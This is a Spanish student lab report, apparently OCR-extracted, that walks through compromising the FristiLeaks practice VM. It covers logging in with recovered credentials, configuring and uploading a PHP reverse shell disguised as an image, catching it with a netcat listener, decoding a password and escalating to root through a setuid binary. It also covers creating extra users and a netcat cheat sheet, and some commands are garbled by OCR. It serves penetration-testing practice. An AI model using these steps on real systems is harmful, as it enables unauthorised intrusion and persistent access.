Ingreso al portal administrativo de fristileaks: Ya que encontramos el usuario y la

contrasefia volvemos al login e ingresamos al servidor.

Member Login
Username : |eezeepz |

Password : |keKkeKKeKKeKkEKkEk |

Login

Ilustracion 36 iniciar sesion
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Aqui ya entramos a la pagina web y se muestra que lo hicimos correctamente, también se

nos muestra un link upload file.

192.192.0.11/fristiflogin_succ > | http://192.192.0.11/fristif

41

2 192.192.0.M

Kali Linux # KaliTools =« KaliDocs % Kali Forums e\ Kali NetHunter

Login successful

upload file

Ilustracion 37inicio de servidor web

Ejecucion de webshells PHP: En este paso vamos acceder a la siguiente ruta

/usr/share/webshells/php para tomar control root

Desktop/sr_friti

llustracion 38Ruta de acceso a webshells PHP

Listado de webshells PHP: En el siguiente paso vamos a registrar los archivos que ya

estan en el directorio actual con el comando Is y aqui podemos ver los archivos listados.

/usr/share/webshells/php

php-backdoor.php php-reverse-shell.php qsd-php-backdoor.php simple-backdoor.php

Hustracion 39Listado de Webshells PHP
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Movimiento de webshell PHP a directorio personal: Aqui vamos a copiar el exploit

php-reverse-shell.php con el comando cp a la carpeta que acabamos de crear que es

/home/Kali/Desktop/sr_friti

fusrfsharefwebshellsfphp

llustracion 40Copia del Webshell php-reverse-shell. php a un directorio personalizado

Visualizacién de archivos en directorio: Ahora de la carpeta /usr/share/webshells vamos

a pasar a la carpeta /home/Kali/Desktop/sr_{friti con el comando ed cuando ya estemos ahi
utilizamos el comando Is y podemos ver que ya esta agregado el diccionario diccionario.txt

php-serverse-shell.php

/usr/share/webshells
cd /home/kali/Desktop/sr_friti

/home/kali/Desktop/sr_friti

dicidhario.txt php-reverse-shell.php

/home/kali/Desktop/sr_friti

Ilustracion 41Verificacion de archivos en el directorio de trabajo
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Edicion de php-reverse-shell.php con Nano:

/home/kali/Desktop/sr_friti
php-reverse-shell.php

/home/kali/Desktop/sr_friti

[lustracion 42Edicion del archivo php-reverse-shell.php con nano

Configuracion de conexién en php-reverse-shell.php: en el siguiente paso nos muestra

un comentario que nos indica que el scrip puede necesitar algunas extensiones, también nos
muestra que se elimino el limite de tiempo del scrip, como también la version del scrip, también
nos muestra la IP 192.192.0.5 del equipo atacante, también nos muestra el puerto 1234 por el
cual el equipo atacante est4 recibiendo informacion y también nos muestra el comando shell que

se ejecutod en el equipo victima una vez que se establecid conexion.

// Some compile-time options are needed for daemonisation (like pcntl, po

[/
// Usage

if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.192.0.5
"s // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk _size = 1400;
i null;
null;
uname -a; w; id; /bin/sh -1i';

Daemonise ourself if possible to avoid zombies later

pcntl_fork is hardly ever available, but will allow us to daemonise
our php process and avoid zombies. Worth a try ...
(function_exists('pcntl_fork')) {

// Fork and have the parent process exit

$pid = pecntl_fork();

1lustracion 43Modificacion de parametros en php-reverse-shell para conexion remota
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Subida de archivo malicioso mediante formulario web: En este paso vamos a Subir o

cargar el archivo malicioso diccionario.txt

« C @

Name ~ Size Type Modified
B dicionario.tt 392bytes Text 18:40
s 5.5K Program 16

OffSec  KaliLinux # Kali Tools

Select image to upload:
Browse.... | Nofile selected. Upload Image

Progr

Hlustracion 44Carga de archivos webshell desde una interfaz web

Aqui ya cargamos el archivo malicioso camuflado como imagen y vamos a ingresar a la

direccion http://192.192.0.11/friti/uploads/php-reverse-shell.php.png

&

« C Q  192.192.0.11/fristi/uploads/php-reverse-shell.php.png|

Ol el 7 JRees @ http://192.192.0.11/fristi/uploads/php-reverse-shell.php.png — Visit

Select image to upload: |
‘_Brawse“. | php-reverse-shell.php.png | me, sea fith I ®

Ilustracion 45Intento de acceso al webshell subido via URL directa

En el siguiente paso nos confirma que el archivo fue cargado con éxito al servidor y que

ahora se encuentra en la carpeta Uploads.

* 192.192.0.11/fristifdo_upl: X http/) 0.11ffristi/

@y Q  192.192.0.1

Kali Linux & KaliTools < Kali Docs & Kali Forums e\ Kali NetHunter Exploit-|

Uploading, please wait
The file has been uploaded to fuploads

1lustracion 46Notificacion de carga exitosa
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Conexion de victima y atacante: En este paso ponemos en modo escucha nuestra

maquina con el comando ne¢ -lvp 1234 eso significa que por el puerto 1234 es por donde se va a

conectar nuestra victima, al final vemos que la victima IP 192.192.0.11 se conect6 al atacante IP

File Actions Edit

View Help

192.192.0.5 por el puerto 1234

root@kali: fnomefkali/Desktop/sr_friti ¥ kali@kali: ~

7
P Tue Nov 1@

CPU WHAT

llustracion 47esperando una conexion entrante

_b4 xB6_64 x86_64 GNU/Linux

Exploracion del sistema de archivos remoto: Aqui ya podemos ver que nos encontramos

dentro de la maquina que atacamos, y usamos el comando Is -la para alistar los archivos y

directorios que estan en el sistema.

1s -la
total 102

dr-xr-xr-x.
dr-xr-xr-x.

dr-xr-xr-x.
dr-xr-xr-x.

drwxr-xr-x

drwxr-xr-x.
drwxr-xr-x.
dr-xr-xr-x.
dr-xr-xr-x.

drwx

drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.

dr-xr-xr-x

dr-xr-x—.
dr-xr-xr-x.
drwxr-xr-x.
drwxr-xr-x.

drwxr-xr-x

drwxrwxrwt .
drwxr-xr-x.
drwxr-xr-x.

sh-4.1% |}

.autofsck
.autorelabel
bin

boot

dev

etc

home

lib

1ib64
lost+found
media

mnt

opt

proc

root

sbhin
selinux
srv

sys

tmp

usr

var

[y

5
8
9
2
P
3
3
92
3
2
P
2
3
3
3
9

=

Hlustracion 48Listado detallado del directorio raiz
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Creacion de archivo malicioso para escalada de privilegios: Aqui vamos cambiar el
permiso del directorio con elcomando echo "/home/admin/chmod -R 777 /home/admin" >

/tmp/runthis

root root 4096 17:22
root root 4096 17:22 ..
root root 0 17:22 .autofsck
root root 0 2015 .autorelabel
root root 4096 2015 bin
root root 1024 2015 boot
root root 3640 Sep 17:23 dev
root root 4096 Sep 17:22 etc
root root 4096 Nov 2015 home
root root 4096 Nov 2015 1ib
root root 12288 Nov 2015 1ib64
root root 16384 Nov 2015 lost+found
root root 4096 Sep 2011 media
root root 4096 Nov 2015 mnt
root root 4096 Nov 2015 opt
root root 0 Sep 17:22 proc
root root 4096 Nov 2015 root
root root 12288 Nov 2015 sbin
root root 4096 Nov 2015 selinux
root root 4096 Sep 2011 srv
root root 0 Sep 17:22 sys
root root 4096 Sep 19:59 tmp
root root 4096 Nov 17 2015 usr
. 19 root root 4096 Nov 19 2015 var
sh-4.1$% echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
echo "ghome/admin/chmod -R 777 /home/admin" > /tmp/runthis
sh-4.1

=

5
8
9
2
2
3
3
92
3
2
2
2
3
3
3

=

Ilustracion 49Redireccionamiento
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Lista del directorio /home: Aqui vamos a ingresar al directorio home con el comando cd

home luego jecutamos el comando Is -la para que nos permita ver todos los directorio defi
usuario del sistema con suspermisos, ahi podemos ver que hay tres usuariso admin, eezeepz y

fristigod.

. ep /N mp
drwxr-xr-x. 13 root root 4096 Nov 17 2015 usr
drwxr-xr-x. 19 root root 4096 Nov 19 2015 var
sh-4.1$%$ cd home

cd home

sh-4.1% 1s -1la

1s -la

total 28

drwxr-xr-x. root root 4096 Nov

dr-xr-xr-x. root root 4096 Sep oc
drwxrwxrwx. admin admin 4096 Nov admin
drwx—r-x. eezeepz eezeepz 12288 Nov eezeepz
drwx fristigod fristisod 4096 Nov fristigod

1lustracion 50Listar el contenido de /home y mostrar los directorios de usuarios

Listado de archivos y permisos en el directorio admin: Aqui vamos a pasar al directorio
de admin usando el comado c¢d admin luego aplicamos el comando Is -la y aqui nos muestra
todos los archivos que hay en este directorio, y vamos a copiar whoisyourgodnow.txt que es el

que vamos a visualizar.




sh-4.1$ cd admin

cd admin

sh-4.1% 1s -la

1s -la
total 652

drwxrwxrwx.
drwxr-xr-x.
~FWXTWXTWX .
~FWXTWXTWX .
~FWXTWXTWX .

—TWXTWXTWX
—IWXTWXTWX
-TWXTWXTWX
—“TWXTWXTwWX
—“TWXTWXTWX
—TWXTWXTWX
-IWXTWXTWX
-TWXTWXTWX
—“TWXT'WXTWX
—TWXTWXTWX
-rw-r--r--
sh-4.1% |

admin
root

admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin

PRPPPRPEPRPEPPEPEPPPUN

admin
root

admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin
admin

fristigod fristigod

737

21

258
90544
24136
163600
163600
85304
25
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.bash_logout
.bash_profile
.bashrc

cat

chmod
cronjob.py
cryptedpass.txt
cryptpass.py

df

echo

egrep

grep

ps
whoisyourgodnow. txt

Llustracion 51Listado del directorio /home/admin con archivos y permisos

Visualizacién del texto cifrado: Ahora vamos a utilizar el comando cat para visualizar el

contenido del archivo whoisyourgodnow.txt que se encuentra en el directorio admin y el

contenido que se encuentra en ese archivo es un codigo sifrado

=RFn0AKnIMHMPIZpyuTIOITG

sh-4.1$ cat whoisyourgodnow.txt
cat whoisyourgodnow. txt

=RFnOAKNIMHMPIzpyuTIOITG
sh-4.1% |}

[lustracion 52Contenido encriptado en archivo de texto
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Abrir y editar archivo Python desde consola: En este paso vamos a crear un archivo con

el nombre super.by en el editor de texto nano entonces con el comado nano super.py creamos

este archivo.

/home/kali/Desktop

1lustracion 53Edicion de script en Python con nano como root

GNU nano 8.4 Super.py
base64, codecs, sys

(str):
decode= codecs.decode(str[::-1], 'rot13")
base64.b64decode(decode)
resultado=decodeString(sys.argv[1])
(resultado)ll

1lustracion 54Script Python para decodificacion ROTI13 y Base64 en nano

Descifrado y salida de mensaje en terminal usando Python: Aqui en este proceso
utilizamos Python y ponemos el nombre del archivo que creamos super.by y pegamos el codigo

cifrado que encontramos en el archivo whoisyourgodnow.txt y nos arrojara como resultado el

codigo descifrado. b'LetThereBeFristi!'

/home/kali/Desktop

python super.py =RFn@AKn1IMHMPIzpyuTI@ITG
b'LetThereBeFristi!"

/home/kali/Desktop
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Ejecutando Shell: Aqui lo que estamos haciendo es mejorar el shell

sh-4.1% python -c 'import pty;pty.spawn("/bin/sh")’
python -c "import pty;pty.spawn("/bin/sh")’

sh-4.1%

llustracion 55Elevacion de shell usando Python en terminal

Escalada de privilegios mediante cambio de usuario: Ahora ejecutamos el comando Is -

la y nos muestra todos los archivos y carpetas que hay con todos los de talles, y encontramos 4
archivos, luego de esto ingresamos al usuario fristigod usando el comando su fristigod luego de
eso no pedira la contrasefia que decodificamos en el paso anterior. LetThereBeFristi! ¢

ingresamos, después que nos dio acceso el sistema confirmo nuestra identidad como whoami.

total 28

drwxr-xr-x. root root 4096 Nov 19 2015
dr-xr-xr-x. root root 4096 Sep 6 17:22 ..
drwxXrwxrwx. admin admin 4096 Nov 19 2015 admin
drwx—r-x. eezeepz eezeepz 12288 Nov 18 2015 eezeepz
drwx : fristigod fristigod 4096 Nov 19 2015 fristigod
sh-4.1

sh-4.1$% su fristigod
su fristigod
Password: LetThereBeFristi!

bash-4.1$% whoami
whoami

fristigod
bash-4.1% |

llustracion 56Cambio de usuario con su y verificacion con whoami en terminal
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Listado de directorios: Aqui ejecutamos el comando Is -la y nos hace una lista de los archivos

que estan en el usurio fristigod, luego cambiamos de directorio con el comando cd var el var es

otro directorio.

1s -la
1s -la
total 102
dr-xr-xr-x. root root
dr-xr-xr-x. root root e
-IW-Tr-—-r-- root root .autofsck
-IW-Tr-—-r-- root root .autorelabel
dr-xr-xr-x. root root bin
dr-xr-xr-x. root root boot
drwxr-xr-x root root dev
drwxr-xr-x. root root etc
drwxr-xr-x. root root home
dr-xr-xr-x. root root lib
dr-xr-xr-x. root root libe4
drwx root root lost+found
drwxr-xr-x. root root media
drwxr-xr-x. root root mnt
drwxr-xr-x. root root opt
dr-xr-xr-x root root proc
dr-xr-x—. root root root
dr-xr-xr-x. root root shin
drwxr-xr-x. root root selinux
drwxr-xr-x. root root STV
drwxr-xr-x root root sys
drwxrwxrwt . root root tmp
drwxr-xr-x. root root usr
drwxr-xr-x. 19 root root var
bash-4.1% cd var
cd var

= fle}
WWWMNNNWOOWWNDNWOY

[y

llustracion 57Exploracion de directorios raiz en terminal
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Listado detallado del directorio /var: En este paso volvemos y ejecutamos el comando Is

-la y nos muestra la lista de los archivos y carpeta que hay en este directorio podemos ver que

esta el usuario fristigod en la lista.

drwxr-xr-x. 19 root root 4096 Nov 19 2015

bash-4.1% cd var

cd var

bash-4.1% 1s -la

1s -la

total 76

drwxr-xr-x. 19 root root

dr-xr-xr-x. 22 root root .
drwxr-xr-x. root root cache
drwxr-xr-x. root root db
drwxr-xr-x. root root empty
drwxr-x— fristigod fristigod fristigod
drwxr-xr-x. root root games
drwxr-xr-x. root root : 1ib
drwxr-xr-x. root root local
drwxrwxr-x. root lock lock
drwxr-xr-x. root root : log
TrwXrwxrwx. root root mail — spool/mail
drwxr-xr-x. root root nis
drwxr-xr-x. root root opt
drwxr-xr-x. root root preserve
drwxr-xr-x. root root - run
drwxr-xr-x. root root spool
drwxrwxrwt . root root tmp
drwxr-xr-x. root root waw
drwxr-xr-x. root root yp
bash-4.1%

[=)]

[ary

[y
NONOWNNNRPSFUNONWWW

Ilustracion 58Listado detallado del contenido del directorio /var

Archivos y permisos en el directorio de fristigod: Aqui vamos a ingresar al directorio

fristigod con el comando cd fristigod y luego listamos los archivos y carpetas del directorio con

el comado Is -la

bash-4.1% cd fristigod
cd fristigod

bash-4.1% 1s -la

1s -la

total 16

drwxr-x— 3 fristigod fristigod 4096 Nov

drwxr-xr-x. 19 root root 4096 Nov -

-rW— 1 fristigod fristigod 864 Nov .bash_history
drwxrwxr-x. 2 fristigod fristigod 4096 Nov .secret_admin_stuff
bash-4.1%

Llustracion 59Exploracion del directorio personal del usuario fristigod con archivos ocultos
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Contenido del directorio oculto: En el siguiente paso vamos a ingresar al directorio.

.secret_admin_stuff con el comando cd .secret admin_stuff y luego volvemos a listar todos

los archivos y carpetas que estdn dento de este directorio.

bash-4.1% cd .secret_admin_stuff
cd .secret_admin_stuff

bash-4.1% 1s -1la

1s -la

total 16

drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015
drwxr-x— 3 fristigod fristigod 4096 Nov 25 2015

-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
bash-4.1% |}

Llustracion 60Exploracion de directorio oculto. secret_admin_stuff con archivo especial doCom

Elevacion de privilegios a root: Aqui en este paso ejecutamos el comando sudo -u fristi

./doCom su root para pasar a tener acceso como usuario root.

bash-4.1$% sudo -u fristi ./doCom su root
sudo -u fristi ./doCom su root
[sudo] password for fristigod: LetThereBeFristi!

[root@localhost .secret_admin_stuffHt whoami
whoami

root
[root@localhost .secret_admin_stuffht |}

Mlustracion 61Escalamiento de privilegios a root usando sudo y archivo setuid personalizado
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Creacion de nuevo usuario: En el siguiente paso vemos que ya tenemos acceso como

usuario root entonces vamos aprovechar para crear un usuario con su contrasefia, entonces
vamos a empezar creando el usuario ejecutando el siguiente comando useradd -m seguido del
nombre que le vamos a poner al usuario sr_jc y asi ya queda creado el usuario, ahora vamos a
asignarle una contrasefia a ese usuario ejecutando el codigo passwd seguido del nombre del
usuario sr_jc en la siguiente linea nos pide cambiar la contrasefia entonces ingresamos en
donde dice New password la contrasefia 0909. Y asi creamos un nuevo usuario.

[root@localhost .secret_admin_stuffH useradd -m sr_jc
useradd -m sr_jc

[root@localhost .secret_admin_stuffH passwd sr_jc
passwd sr_jc

Changing password for user sr_jc.

New password: 0909

BAD PASSWORD: it is too short
BAD PASSWORD: is too simple
Retype new password: 0909

passwd: all authentication tokens updated successfully.
[root@localhost .secret_admin_stuffht |

llustracion 62Creacion de nuevo usuario y asignacion de contraseiia desde root
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En el siguiente paso vamos a crear otro usuario entonces volvemos hacer el mismo
procedimiento. entonces vamos a empezar creando el usuario ejecutando el siguiente comando
useradd -m seguido del nombre que le vamos a poner al usuario super_boy asi ya queda creado
el usuario, ahora vamos a asignarle una contrasefia a ese usuario ejecutando el codigo passwd
seguido del nombre del usuario super_boy en la siguiente linea nos pide cambiar la contrasefa
entonces ingresamos en donde dice New password la contraseia 0909. Y asi creamos otro

nuevo usuario.

[root@localhost .secret_admin_stuffH useradd -m super_boy
useradd -m super_boy

[root@localhost .secret_admin_stuffH passwd super_boy
passwd super_boy

Changing password for user super_boy.

New password: 0909

BAD PASSWORD: it 1s too short
BAD PASSWORD: is too simple
Retype new password: 0909

passwd: all authentication tokens updated successfully.
[root@localhost .secret_admin_stuffht |}

Llustracion 63Creacion de usuario super _boy con contraseria desde sesion root
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Visualizacion del directorio /home y sus usuarios: vamos a ingresar al directorio home

con el comando c¢d home cuando ya entramos vamos a poner el comando Is -la para listar todos
los archivos que se encuentren dentro del directorio home y podemos ver en la lista los usuarios

eezeepz, fristigod y los dos usuarios nuevos que acabamos de crear sr_jc y super_boy

[root@localhost /H cd home

cd home

[rootglocalhost homeHt 1s -la

1s -1la

total 36

drwxr-xr-x. root root 4096
dr-xr-xr-x. 22 root root 4096

drwxrwxrwx. admin admin 4096
drwx—r-x. eezeepz eezeepz 12288
drwx fristigod fristigod 4096
drwx sr_jc sr_jc 4096
drwx 2 super_boy super_boy 4096
[root@localhost homeHt [}

llustracion 64Directorio /home con multiples usuarios

[root@localhost homeHt su sr_jc
su sr_jc
[sr_jc@localhost homel]$ whoami

whoami
sr_Jjc
[sr_jc@localhost homel$ |

Hlustracion 65Cambio de usuario a sr_jc y verificacion con whoami
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[sr_jc@localhost homel]$ su super_boy
su super_boy
Password: 0909

[super_boy@localhost home]$ whoami
whoami

super_boy

[super_boy@localhost homel$ §

Llustracion 66Cambio de usuario a super _boy y confirmacion con whoami

3. Capitulo 2

4. COMANDOS DE NC (Netcat)

1 escanear puertos abiertos

nc -zv

Este comando nos ayuda a escanear puertos abiertos
nc -zv 192.168.1.1 20-80

Escanea puertos del 20 al 80 en la IP 192.168.1.1

2 crear un servicio de escucha
nc -1 -p
este comando crear un servidor de escucha por el puerto 1234

nc -1 -p 1234
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3 conectar a un servidor
Este comando nos ayuda a conectar a un servidor
nc 192.168.1.100 1234

Se conecta al puerto 1234 de esa IP.

4 transferencia de archivos (de un host a otro)
En el receptor:

nc -1 -p 1234 > archivo_recibido.txt

En el emisor:

nc 192.168.1.100 1234 < archivo.txt

5 Chat simple entre dos PCs

PC1 (modo escucha): nc -1 -p 1234

PC2 (modo cliente): nc [IP. DEL PC1 1234
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DIFICULTADES

En el transcurso del proceso se presentaron las siguientes dificultades:
e No estaba cogiendo la direccién ip a la maquina fristileaks
¢ Dificulta a la carga el archivo en la pagina web.
e Error al crear los usuarios.

e E]l URL para entrar al login fridtileaks no me aparecia al ejecutar el diccionario.

CONCLUSION

Este laboratorio permitio poner en practica diferentes técnicas para analizar y vulnerar un
sistema inseguro como FristiLeaks, usando herramientas basicas de Kali Linux. A lo largo del
proceso, identificamos usuarios, desciframos contrasefias, exploramos archivos ocultos y
aprovechamos fallos en la pagina web.

Gracias a estos pasos, logramos obtener acceso total al sistema y crear nuevos usuarios,
cumpliendo asi con el objetivo del ejercicio. Esta experiencia demuestra la importancia de la
seguridad en sistemas y como una pequefia falla puede poner en riesgo todo el entorno.



